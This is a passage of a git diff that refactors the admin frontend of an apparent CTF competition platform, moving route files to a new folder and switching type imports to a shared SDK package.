a/apps/web/src/routes/admin/events/awd.$id/instance.tsx b/frontends/default/src/routes/admin/events/awd.$id/instance.tsx similarity index 100% rename from apps/web/src/routes/admin/events/awd.$id/instance.tsx rename to frontends/default/src/routes/admin/events/awd.$id/instance.tsx diff --git a/apps/web/src/routes/admin/events/awd.$id/logs.tsx b/frontends/default/src/routes/admin/events/awd.$id/logs.tsx similarity index 97% rename from apps/web/src/routes/admin/events/awd.$id/logs.tsx rename to frontends/default/src/routes/admin/events/awd.$id/logs.tsx index c09f4599..dd6b797e 100644 --- a/apps/web/src/routes/admin/events/awd.$id/logs.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/logs.tsx @@ -1,6 +1,6 @@ import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventLogs } from "@/entity"; +import type { EventLogs } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { Label } from "@primer/react"; import { createFileRoute } from "@tanstack/react-router"; diff --git a/apps/web/src/routes/admin/events/awd.$id/network.tsx b/frontends/default/src/routes/admin/events/awd.$id/network.tsx similarity index 99% rename from apps/web/src/routes/admin/events/awd.$id/network.tsx rename to frontends/default/src/routes/admin/events/awd.$id/network.tsx index 14be2092..57997776 100644 --- a/apps/web/src/routes/admin/events/awd.$id/network.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/network.tsx @@ -14,7 +14,7 @@ import type { AxiosError } from "axios"; import { type ChangeEvent, type ReactNode, useState } from "react"; import { adminApi } from "@/api"; -import type { EventNetworkInfo } from "@/api/awd"; +import type { EventNetworkInfo } from "@floatctf/sdk"; import { useMsgBanner } from "@/components"; import { EMPTY_MANUAL_ALLOCATION_FORM, diff --git a/apps/web/src/routes/admin/events/awd.$id/ops.tsx b/frontends/default/src/routes/admin/events/awd.$id/ops.tsx similarity index 99% rename from apps/web/src/routes/admin/events/awd.$id/ops.tsx rename to frontends/default/src/routes/admin/events/awd.$id/ops.tsx index 0a2427de..b68e085f 100644 --- a/apps/web/src/routes/admin/events/awd.$id/ops.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/ops.tsx @@ -13,7 +13,7 @@ import { createFileRoute } from "@tanstack/react-router"; import { useState } from "react"; import { adminApi } from "@/api"; -import type { AwdPrecheckRun, AwdScoreRow } from "@/api/awd"; +import type { AwdPrecheckRun, AwdScoreRow } from "@floatctf/sdk"; import { useMsgBanner } from "@/components"; import { AdminRouteGuard } from "../../route"; diff --git a/apps/web/src/routes/admin/events/awd.$id/route.tsx b/frontends/default/src/routes/admin/events/awd.$id/route.tsx similarity index 97% rename from apps/web/src/routes/admin/events/awd.$id/route.tsx rename to frontends/default/src/routes/admin/events/awd.$id/route.tsx index 411997c8..73b9a817 100644 --- a/apps/web/src/routes/admin/events/awd.$id/route.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/route.tsx @@ -14,8 +14,8 @@ import { type JeopardyEventChallenges as EventChallenges, EventFamily, type Events, -} from "@/entity"; -import { useAdminAwdEventStream } from "@/hooks/useAdminAwdEventStream"; +} from "@floatctf/sdk/entity"; +import { useAdminAwdEventStream } from "@/api/react"; import { AwdEventProgress, adminProgressState } from "@/components/awd/AwdEventProgress"; import { RouterUnderlineNavItem as RouterNavItem } from "@/components/RouterUnderlineNavItem"; diff --git a/apps/web/src/routes/admin/events/awd.$id/teams.tsx b/frontends/default/src/routes/admin/events/awd.$id/teams.tsx similarity index 98% rename from apps/web/src/routes/admin/events/awd.$id/teams.tsx rename to frontends/default/src/routes/admin/events/awd.$id/teams.tsx index 28c82232..e9139ed6 100644 --- a/apps/web/src/routes/admin/events/awd.$id/teams.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/teams.tsx @@ -5,7 +5,7 @@ import { createFileRoute } from "@tanstack/react-router"; import { adminApi } from "@/api"; import { GenericTable, useMsgBanner } from "@/components"; -import type { EventTeamMemberRole, EventTeams } from "@/entity"; +import type { EventTeamMemberRole, EventTeams } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "../../route"; diff --git a/apps/web/src/routes/admin/events/awd.$id/writeups.tsx b/frontends/default/src/routes/admin/events/awd.$id/writeups.tsx similarity index 98% rename from apps/web/src/routes/admin/events/awd.$id/writeups.tsx rename to frontends/default/src/routes/admin/events/awd.$id/writeups.tsx index fd782aae..7ce743fa 100644 --- a/apps/web/src/routes/admin/events/awd.$id/writeups.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/writeups.tsx @@ -4,7 +4,7 @@ import { createFileRoute } from "@tanstack/react-router"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventWriteup } from "@/entity"; +import type { EventWriteup } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "../../route"; diff --git a/apps/web/src/routes/admin/events/awdp.$id/announcements.tsx b/frontends/default/src/routes/admin/events/awdp.$id/announcements.tsx similarity index 97% rename from apps/web/src/routes/admin/events/awdp.$id/announcements.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/announcements.tsx index 41f0e795..06840feb 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/announcements.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/announcements.tsx @@ -1,6 +1,6 @@ import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventAnnouncements } from "@/entity"; +import type { EventAnnouncements } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { TextInput, Textarea } from "@primer/react"; diff --git a/apps/web/src/routes/admin/events/awdp.$id/configure.tsx b/frontends/default/src/routes/admin/events/awdp.$id/configure.tsx similarity index 99% rename from apps/web/src/routes/admin/events/awdp.$id/configure.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/configure.tsx index 015bd12f..56e28504 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/configure.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/configure.tsx @@ -16,7 +16,7 @@ import { useState, } from "react"; -import { type AwdpEventConfigDto, awdpAdminApi } from "@/api/awdp"; +import { type AwdpEventConfigDto } from "@floatctf/sdk"; import { useMsgBanner } from "@/components"; import { AwdpTimeline, @@ -25,6 +25,7 @@ import { } from "@/components/awdp/AwdpPhaseOverview"; import { AdminRouteGuard } from "../../route"; import { EventContext } from "./route"; +import { awdpAdminApi } from "@/api"; export const Route = createFileRoute("/admin/events/awdp/$id/configure")({ component: RouteComponent, diff --git a/apps/web/src/routes/admin/events/awdp.$id/data_present.tsx b/frontends/default/src/routes/admin/events/awdp.$id/data_present.tsx similarity index 98% rename from apps/web/src/routes/admin/events/awdp.$id/data_present.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/data_present.tsx index 46cb60bd..48158e3a 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/data_present.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/data_present.tsx @@ -11,11 +11,12 @@ import { createFileRoute } from "@tanstack/react-router"; import { getCoreRowModel, useReactTable } from "@tanstack/react-table"; import { useState } from "react"; -import { type AwdpDataPresent, awdpAdminApi } from "@/api/awdp"; +import { type AwdpDataPresent } from "@floatctf/sdk"; import { RemainingTimer } from "@/routes/service/events/jeopardy.$id/route"; import { TrendChart } from "@/routes/service/events/jeopardy.$id/trend"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "../../route"; +import { awdpAdminApi } from "@/api"; export const Route = createFileRoute("/admin/events/awdp/$id/data_present")({ component: RouteComponent, diff --git a/apps/web/src/routes/admin/events/awdp.$id/gameboxes.tsx b/frontends/default/src/routes/admin/events/awdp.$id/gameboxes.tsx similarity index 97% rename from apps/web/src/routes/admin/events/awdp.$id/gameboxes.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/gameboxes.tsx index c88af287..0e7c0abc 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/gameboxes.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/gameboxes.tsx @@ -5,13 +5,14 @@ import { createFileRoute } from "@tanstack/react-router"; import { useCallback, useRef, useState } from "react"; import { adminApi } from "@/api"; -import type { AwdpAdminEventGameBoxDto } from "@/api/awdp"; -import { awdpAdminApi } from "@/api/awdp"; -import type { QueryParams } from "@/api/axios"; +import type { AwdpAdminEventGameBoxDto } from "@floatctf/sdk"; + +import type { QueryParams } from "@floatctf/sdk"; import { GenericTable, useMsgBanner } from "@/components"; import { QUERY_KEY as LIB_QUERY_KEY } from "@/routes/admin/awd/gameboxes"; import { useSelectedRowIds } from "@/util"; import { AdminRouteGuard } from "../../route"; +import { awdpAdminApi } from "@/api"; export const Route = createFileRoute("/admin/events/awdp/$id/gameboxes")({ component: RouteComponent, diff --git a/apps/web/src/routes/admin/events/awdp.$id/index.tsx b/frontends/default/src/routes/admin/events/awdp.$id/index.tsx similarity index 100% rename from apps/web/src/routes/admin/events/awdp.$id/index.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/index.tsx diff --git a/apps/web/src/routes/admin/events/awdp.$id/instance.tsx b/frontends/default/src/routes/admin/events/awdp.$id/instance.tsx similarity index 100% rename from apps/web/src/routes/admin/events/awdp.$id/instance.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/instance.tsx diff --git a/apps/web/src/routes/admin/events/awdp.$id/logs.tsx b/frontends/default/src/routes/admin/events/awdp.$id/logs.tsx similarity index 97% rename from apps/web/src/routes/admin/events/awdp.$id/logs.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/logs.tsx index 214cb4ca..a4659e33 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/logs.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/logs.tsx @@ -1,6 +1,6 @@ import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventLogs } from "@/entity"; +import type { EventLogs } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { Label } from "@primer/react"; import { createFileRoute } from "@tanstack/react-router"; diff --git a/apps/web/src/routes/admin/events/awdp.$id/ops.tsx b/frontends/default/src/routes/admin/events/awdp.$id/ops.tsx similarity index 98% rename from apps/web/src/routes/admin/events/awdp.$id/ops.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/ops.tsx index 6247d7fc..046a137a 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/ops.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/ops.tsx @@ -2,9 +2,10 @@ import { Button, ButtonGroup, Label, Spinner, useConfirm } from "@primer/react"; import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; -import { awdpAdminApi } from "@/api/awdp"; + import { useMsgBanner } from "@/components"; import { AdminRouteGuard } from "../../route"; +import { awdpAdminApi } from "@/api"; export const Route = createFileRoute("/admin/events/awdp/$id/ops")({ component: RouteComponent, diff --git a/apps/web/src/routes/admin/events/awdp.$id/route.tsx b/frontends/default/src/routes/admin/events/awdp.$id/route.tsx similarity index 96% rename from apps/web/src/routes/admin/events/awdp.$id/route.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/route.tsx index 5df5d4d7..e7828ba5 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/route.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/route.tsx @@ -4,9 +4,10 @@ import { Outlet, createFileRoute } from "@tanstack/react-router"; import { createContext } from "react"; import { adminApi } from "@/api"; -import { awdpAdminApi } from "@/api/awdp"; -import { type Events, ParticipantMode } from "@/entity"; + +import { type Events, ParticipantMode } from "@floatctf/sdk/entity"; import { RouterUnderlineNavItem as RouterNavItem } from "@/components/RouterUnderlineNavItem"; +import { awdpAdminApi } from "@/api"; export const Route = createFileRoute("/admin/events/awdp/$id")({ component: RouteComponent, diff --git a/apps/web/src/routes/admin/events/awdp.$id/scoreboard.tsx b/frontends/default/src/routes/admin/events/awdp.$id/scoreboard.tsx similarity index 97% rename from apps/web/src/routes/admin/events/awdp.$id/scoreboard.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/scoreboard.tsx index 5fef6a3c..55f0145e 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/scoreboard.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/scoreboard.tsx @@ -4,8 +4,9 @@ import { useQuery } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; import { getCoreRowModel, useReactTable } from "@tanstack/react-table"; -import { type AwdpScoreRow, awdpAdminApi } from "@/api/awdp"; +import { type AwdpScoreRow } from "@floatctf/sdk"; import { AdminRouteGuard } from "../../route"; +import { awdpAdminApi } from "@/api"; /** * AWDP 赛事管理端 Scoreboard(独立 tab)。 diff --git a/apps/web/src/routes/admin/events/awdp.$id/teams.tsx b/frontends/default/src/routes/admin/events/awdp.$id/teams.tsx similarity index 98% rename from apps/web/src/routes/admin/events/awdp.$id/teams.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/teams.tsx index 16e06531..657321b5 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/teams.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/teams.tsx @@ -6,7 +6,7 @@ import { Fragment } from "react"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventTeamMemberRole, EventTeams } from "@/entity"; +import type { EventTeamMemberRole, EventTeams } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "../../route"; diff --git a/apps/web/src/routes/admin/events/awdp.$id/writeups.tsx b/frontends/default/src/routes/admin/events/awdp.$id/writeups.tsx similarity index 97% rename from apps/web/src/routes/admin/events/awdp.$id/writeups.tsx rename to frontends/default/src/routes/admin/events/awdp.$id/writeups.tsx index dbed8d52..10ecd5a5 100644 --- a/apps/web/src/routes/admin/events/awdp.$id/writeups.tsx +++ b/frontends/default/src/routes/admin/events/awdp.$id/writeups.tsx @@ -4,7 +4,7 @@ import { createFileRoute } from "@tanstack/react-router"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventWriteup } from "@/entity"; +import type { EventWriteup } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "../../route"; diff --git a/apps/web/src/routes/admin/events/index.tsx b/frontends/default/src/routes/admin/events/index.tsx similarity index 99% rename from apps/web/src/routes/admin/events/index.tsx rename to frontends/default/src/routes/admin/events/index.tsx index 241c9cdf..43909351 100644 --- a/apps/web/src/routes/admin/events/index.tsx +++ b/frontends/default/src/routes/admin/events/index.tsx @@ -14,7 +14,7 @@ import { useState } from "react"; import { adminApi } from "@/api"; import { EventStatusBadge, GenericTable } from "@/components"; import { UnderlineNavButton } from "@/components/UnderlineNavButton"; -import { EventFamily, type Events, ParticipantMode } from "@/entity"; +import { EventFamily, type Events, ParticipantMode } from "@floatctf/sdk/entity"; import { AppLink } from "@/navigation"; import { AdminRouteGuard } from "@/routes/admin/route"; import { DatetimeToShow } from "@/util"; diff --git a/apps/web/src/routes/admin/events/jeopardy.$id/announcements.tsx b/frontends/default/src/routes/admin/events/jeopardy.$id/announcements.tsx similarity index 97% rename from apps/web/src/routes/admin/events/jeopardy.$id/announcements.tsx rename to frontends/default/src/routes/admin/events/jeopardy.$id/announcements.tsx index 7277e713..7c0862c3 100644 --- a/apps/web/src/routes/admin/events/jeopardy.$id/announcements.tsx +++ b/frontends/default/src/routes/admin/events/jeopardy.$id/announcements.tsx @@ -1,6 +1,6 @@ import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventAnnouncements } from "@/entity"; +import type { EventAnnouncements } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { TextInput, Textarea } from "@primer/react"; diff --git a/apps/web/src/routes/admin/events/jeopardy.$id/data_present.tsx b/frontends/default/src/routes/admin/events/jeopardy.$id/data_present.tsx similarity index 91% rename from apps/web/src/routes/admin/events/jeopardy.$id/data_present.tsx rename to frontends/default/src/routes/admin/events/jeopardy.$id/data_present.tsx index da1ec83d..9d4dd68b 100644 --- a/apps/web/src/routes/admin/events/jeopardy.$id/data_present.tsx +++ b/frontends/default/src/routes/admin/events/jeopardy.$id/data_present.tsx @@ -10,16 +10,12 @@ import { createFileRoute } from "@tanstack/react-router"; import { useState } from "react"; import { adminApi } from "@/api"; -import type { Events } from "@/entity"; +import type { Events } from "@floatctf/sdk/entity"; import { RemainingTimer } from "@/routes/service/events/jeopardy.$id/route"; -import { - ScoreBoard, - type ScoreboardItem, -} from "@/routes/service/events/jeopardy.$id/scoreboard"; -import { - TrendChart, - type TrendItem, -} from "@/routes/service/events/jeopardy.$id/trend"; +import { ScoreBoard } from "@/routes/service/events/jeopardy.$id/scoreboard"; +import { TrendChart } from "@/routes/service/events/jeopardy.$id/trend"; +import type { ScoreboardItem } from "@floatctf/sdk"; +import type { TrendItem } from "@floatctf/sdk"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "../../route"; @@ -28,32 +24,9 @@ export const Route = createFileRoute("/admin/events/jeopardy/$id/data_present")( loader: AdminRouteGuard, }); -export type DataEventChallenge = { - name: string; - category: string; - points: number; - solved_count: number; - solved_percent: number; -}; -export type DataEventChallengeSolve = { - user_nickname: string; - challenge_name: string; - challenge_category: string; - created_at: string; // NaiveDateTime → string - bonus_points: number; -}; // 你需要在别处定义 Event, ScoreboardItem, TrendItem 的 TS 类型 -export type DataPresent = { - event: Events; // 对应 events::Model - user_count: number; - team_count: number; - solved_recent_15: DataEventChallengeSolve[]; - event_challenges: DataEventChallenge[]; - scoreboard_top10: ScoreboardItem[]; - trend: TrendItem[]; -}; function RouteComponent() { const [isFull, setIsFull] = useState(false); @@ -279,3 +252,14 @@ function EventChallengesView({ data }: { data: DataEventChallenge[] }) { ); } + +import type { + DataEventChallenge, + DataEventChallengeSolve, + DataPresent, +} from "@floatctf/sdk"; +export type { + DataEventChallenge, + DataEventChallengeSolve, + DataPresent, +}; diff --git a/apps/web/src/routes/admin/events/jeopardy.$id/index.tsx b/frontends/default/src/routes/admin/events/jeopardy.$id/index.tsx similarity index 97% rename from apps/web/src/routes/admin/events/jeopardy.$id/index.tsx rename to frontends/default/src/routes/admin/events/jeopardy.$id/index.tsx index 93f425d1..dad1f123 100644 --- a/apps/web/src/routes/admin/events/jeopardy.$id/index.tsx +++ b/frontends/default/src/routes/admin/events/jeopardy.$id/index.tsx @@ -17,8 +17,8 @@ import { useCallback, useContext, useEffect, useRef, useState } from "react"; import { adminApi } from "@/api"; import { ActionSelect, GenericTable, useMsgBanner } from "@/components"; -import type { Challenges } from "@/entity"; -import type { ChallengesListItem } from "@/types/challengeDto"; +import type { Challenges } from "@floatctf/sdk/entity"; +import type { ChallengesListItem } from "@floatctf/sdk"; import { CheckButton } from "@/routes/admin/challenges"; import { DatetimeToShow, useSelectedRowIds } from "@/util"; import { AdminRouteGuard } from "../../route"; @@ -29,17 +29,7 @@ export const Route = createFileRoute("/admin/events/jeopardy/$id/")({ loader: AdminRouteGuard, }); -export type EventChallenge = { - event_id: string; - challenge_id: string; - hidden: boolean; - points: number; -}; -export type EventChallengeResult = { - event_challenge: EventChallenge; - challenge: Challenges; -}; function RouteComponent() { const event = useContext(EventContext); @@ -474,3 +464,12 @@ function OpenChallengesButton({ ); } + +import type { + EventChallenge, + AdminEventChallengeResult as EventChallengeResult, +} from "@floatctf/sdk"; +export type { + EventChallenge, + EventChallengeResult, +}; diff --git a/apps/web/src/routes/admin/events/jeopardy.$id/instance.tsx b/frontends/default/src/routes/admin/events/jeopardy.$id/instance.tsx similarity index 100% rename from apps/web/src/routes/admin/events/jeopardy.$id/instance.tsx rename to frontends/default/src/routes/admin/events/jeopardy.$id/instance.tsx diff --git a/apps/web/src/routes/admin/events/jeopardy.$id/logs.tsx b/frontends/default/src/routes/admin/events/jeopardy.$id/logs.tsx similarity index 98% rename from apps/web/src/routes/admin/events/jeopardy.$id/logs.tsx rename to frontends/default/src/routes/admin/events/jeopardy.$id/logs.tsx index f4ed5cd4..32423494 100644 --- a/apps/web/src/routes/admin/events/jeopardy.$id/logs.tsx +++ b/frontends/default/src/routes/admin/events/jeopardy.$id/logs.tsx @@ -1,6 +1,6 @@ import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventLogs } from "@/entity"; +import type { EventLogs } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { Label } from "@primer/react"; import { createFileRoute } from "@tanstack/react-router"; diff --git a/apps/web/src/routes/admin/events/jeopardy.$id/route.tsx b/frontends/default/src/routes/admin/events/jeopardy.$id/route.tsx similarity index 99% rename from apps/web/src/routes/admin/events/jeopardy.$id/route.tsx rename to frontends/default/src/routes/admin/events/jeopardy.$id/route.tsx index 39cd43da..c8e741e1 100644 --- a/apps/web/src/routes/admin/events/jeopardy.$id/route.tsx +++ b/frontends/default/src/routes/admin/events/jeopardy.$id/route.tsx @@ -9,7 +9,7 @@ import { type JeopardyEventChallenges as EventChallenges, ParticipantMode, type Events, -} from "@/entity"; +} from "@floatctf/sdk/entity"; import { RouterUnderlineNavItem as RouterNavItem } from "@/components/RouterUnderlineNavItem"; export const Route = createFileRoute("/admin/events/jeopardy/$id")({ diff --git a/apps/web/src/routes/admin/events/jeopardy.$id/teams.tsx b/frontends/default/src/routes/admin/events/jeopardy.$id/teams.tsx similarity index 94% rename from apps/web/src/routes/admin/events/jeopardy.$id/teams.tsx rename to frontends/default/src/routes/admin/events/jeopardy.$id/teams.tsx index 8f704002..c22d1a28 100644 --- a/apps/web/src/routes/admin/events/jeopardy.$id/teams.tsx +++ b/frontends/default/src/routes/admin/events/jeopardy.$id/teams.tsx @@ -6,7 +6,7 @@ import { Fragment } from "react"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventTeamMemberRole, EventTeams } from "@/entity"; +import type { EventTeamMemberRole, EventTeams } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "../../route"; @@ -15,19 +15,7 @@ export const Route = createFileRoute("/admin/events/jeopardy/$id/teams")({ loader: AdminRouteGuard, }); -export type TeamMemberResult = { - username: string; - nickname: string; - role: EventTeamMemberRole; - points: number; -}; -export type TeamResult = { - id: string; - team: EventTeams; - captain: string; - members: TeamMemberResult[]; -}; function RouteComponent() { const { id } = Route.useParams(); @@ -176,3 +164,12 @@ function RouteComponent() { /> ); } + +import type { + TeamMemberResult, + TeamResult, +} from "@floatctf/sdk"; +export type { + TeamMemberResult, + TeamResult, +}; diff --git a/apps/web/src/routes/admin/events/jeopardy.$id/users.tsx b/frontends/default/src/routes/admin/events/jeopardy.$id/users.tsx similarity index 97% rename from apps/web/src/routes/admin/events/jeopardy.$id/users.tsx rename to frontends/default/src/routes/admin/events/jeopardy.$id/users.tsx index 41c9cc25..3d5d6f6c 100644 --- a/apps/web/src/routes/admin/events/jeopardy.$id/users.tsx +++ b/frontends/default/src/routes/admin/events/jeopardy.$id/users.tsx @@ -5,7 +5,7 @@ import { createFileRoute } from "@tanstack/react-router"; import { adminApi } from "@/api"; import { ActionSelect, GenericTable, useMsgBanner } from "@/components"; -import type { EventUsers, Users } from "@/entity"; +import type { EventUsers, Users } from "@floatctf/sdk/entity"; import { DatetimeToShow, useSelectedRowIds } from "@/util"; import { useCallback, useRef, useState } from "react"; import { AdminRouteGuard } from "../../route"; @@ -15,11 +15,6 @@ export const Route = createFileRoute("/admin/events/jeopardy/$id/users")({ loader: AdminRouteGuard, }); -export type EventUserResult = { - id: string; - user: Users; - event_user: EventUsers; -}; function RouteComponent() { const { id } = Route.useParams(); @@ -226,3 +221,10 @@ function AddUserButton({ ); } + +import type { + EventUserResult, +} from "@floatctf/sdk"; +export type { + EventUserResult, +}; diff --git a/apps/web/src/routes/admin/events/jeopardy.$id/writeups.tsx b/frontends/default/src/routes/admin/events/jeopardy.$id/writeups.tsx similarity index 98% rename from apps/web/src/routes/admin/events/jeopardy.$id/writeups.tsx rename to frontends/default/src/routes/admin/events/jeopardy.$id/writeups.tsx index 17c8cc03..a5dc10c4 100644 --- a/apps/web/src/routes/admin/events/jeopardy.$id/writeups.tsx +++ b/frontends/default/src/routes/admin/events/jeopardy.$id/writeups.tsx @@ -4,7 +4,7 @@ import { createFileRoute } from "@tanstack/react-router"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventWriteup } from "@/entity"; +import type { EventWriteup } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "../../route"; diff --git a/apps/web/src/routes/admin/index.tsx b/frontends/default/src/routes/admin/index.tsx similarity index 100% rename from apps/web/src/routes/admin/index.tsx rename to frontends/default/src/routes/admin/index.tsx diff --git a/apps/web/src/routes/admin/logs.tsx b/frontends/default/src/routes/admin/logs.tsx similarity index 98% rename from apps/web/src/routes/admin/logs.tsx rename to frontends/default/src/routes/admin/logs.tsx index b0c09ccf..6c3a9fdb 100644 --- a/apps/web/src/routes/admin/logs.tsx +++ b/frontends/default/src/routes/admin/logs.tsx @@ -1,6 +1,6 @@ import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { Logs } from "@/entity"; +import type { Logs } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { Label } from "@primer/react"; import { createFileRoute } from "@tanstack/react-router"; diff --git a/apps/web/src/routes/admin/route.tsx b/frontends/default/src/routes/admin/route.tsx similarity index 100% rename from apps/web/src/routes/admin/route.tsx rename to frontends/default/src/routes/admin/route.tsx diff --git a/apps/web/src/routes/admin/scheduled_tasks.tsx b/frontends/default/src/routes/admin/scheduled_tasks.tsx similarity index 99% rename from apps/web/src/routes/admin/scheduled_tasks.tsx rename to frontends/default/src/routes/admin/scheduled_tasks.tsx index 92350ce4..5c862a26 100644 --- a/apps/web/src/routes/admin/scheduled_tasks.tsx +++ b/frontends/default/src/routes/admin/scheduled_tasks.tsx @@ -1,7 +1,7 @@ import { adminApi } from "@/api"; import { GenericTable } from "@/components"; import { UnderlineNavButton } from "@/components/UnderlineNavButton"; -import type { ScheduledTasks } from "@/entity"; +import type { ScheduledTasks } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { CheckIcon, PlayIcon, XIcon } from "@primer/octicons-react"; import { diff --git a/apps/web/src/routes/admin/settings.tsx b/frontends/default/src/routes/admin/settings.tsx similarity index 82% rename from apps/web/src/routes/admin/settings.tsx rename to frontends/default/src/routes/admin/settings.tsx index 1da66ac4..2f0983db 100644 --- a/apps/web/src/routes/admin/settings.tsx +++ b/frontends/default/src/routes/admin/settings.tsx @@ -3,10 +3,10 @@ import { createFileRoute } from "@tanstack/react-router"; import { useReactive, useTitle } from "ahooks"; import { adminApi } from "@/api"; -import type { SettingsDto } from "@/api/admin/settings"; -import { GenericTable } from "@/components"; +import type { SettingsDto } from "@floatctf/sdk"; +import { FrontendSelector, GenericTable } from "@/components"; import { MyTruncate } from "@/components/Truncate"; -import { SettingValueType } from "@/entity"; +import { SettingValueType } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "./route"; @@ -151,16 +151,21 @@ function RouteComponent() { }, ]; return ( - + <> + {/* 已安装前端选择器(Frontend != Theme):只选择已安装前端,写入 FRONTEND_ACTIVE。 + 安装/升级属于运维 CLI(frontend.sh),浏览器不参与。 */} + + + ); } diff --git a/apps/web/src/routes/admin/super_admins.tsx b/frontends/default/src/routes/admin/super_admins.tsx similarity index 98% rename from apps/web/src/routes/admin/super_admins.tsx rename to frontends/default/src/routes/admin/super_admins.tsx index b6539203..ce5fbe2d 100644 --- a/apps/web/src/routes/admin/super_admins.tsx +++ b/frontends/default/src/routes/admin/super_admins.tsx @@ -13,7 +13,7 @@ import { useState } from "react"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { SuperAdmin } from "@/entity/super_admin"; +import type { SuperAdmin } from "@floatctf/sdk/entity/super_admin"; import { AdminRouteGuard } from "@/routes/admin/route"; export const Route = createFileRoute("/admin/super_admins")({ diff --git a/apps/web/src/routes/admin/terminal.tsx b/frontends/default/src/routes/admin/terminal.tsx similarity index 98% rename from apps/web/src/routes/admin/terminal.tsx rename to frontends/default/src/routes/admin/terminal.tsx index c1efcc42..f8cd31c7 100644 --- a/apps/web/src/routes/admin/terminal.tsx +++ b/frontends/default/src/routes/admin/terminal.tsx @@ -3,8 +3,9 @@ import { FitAddon } from "@xterm/addon-fit"; import { Terminal } from "@xterm/xterm"; import { useEffect, useRef } from "react"; import "@xterm/xterm/css/xterm.css"; -import { admin_api } from "@/api/axios"; + import { ADMIN_API_URL } from "@/config"; +import { client } from "@/api"; export const Route = createFileRoute("/admin/terminal")({ component: RouteComponent, @@ -48,7 +49,7 @@ function RouteComponent() { try { // 常规管理员 JWT 只通过 Authorization header 使用一次,后端签发 // 60 秒、单次消费的 HttpOnly terminal ticket cookie。 - await admin_api.post("/terminal/session"); + await client.adminHttp.post("/terminal/session"); if (disposed) return; const ws = new WebSocket(buildWsUrl()); diff --git a/apps/web/src/routes/admin/users.tsx b/frontends/default/src/routes/admin/users.tsx similarity index 97% rename from apps/web/src/routes/admin/users.tsx rename to frontends/default/src/routes/admin/users.tsx index 4c4af110..5305ce1a 100644 --- a/apps/web/src/routes/admin/users.tsx +++ b/frontends/default/src/routes/admin/users.tsx @@ -4,7 +4,7 @@ import { useReactive } from "ahooks"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { Users } from "@/entity"; +import type { Users } from "@floatctf/sdk/entity"; import { AdminRouteGuard } from "@/routes/admin/route"; export const Route = createFileRoute("/admin/users")({ diff --git a/apps/web/src/routes/admin/version.tsx b/frontends/default/src/routes/admin/version.tsx similarity index 100% rename from apps/web/src/routes/admin/version.tsx rename to frontends/default/src/routes/admin/version.tsx diff --git a/apps/web/src/routes/admin/weapons.tsx 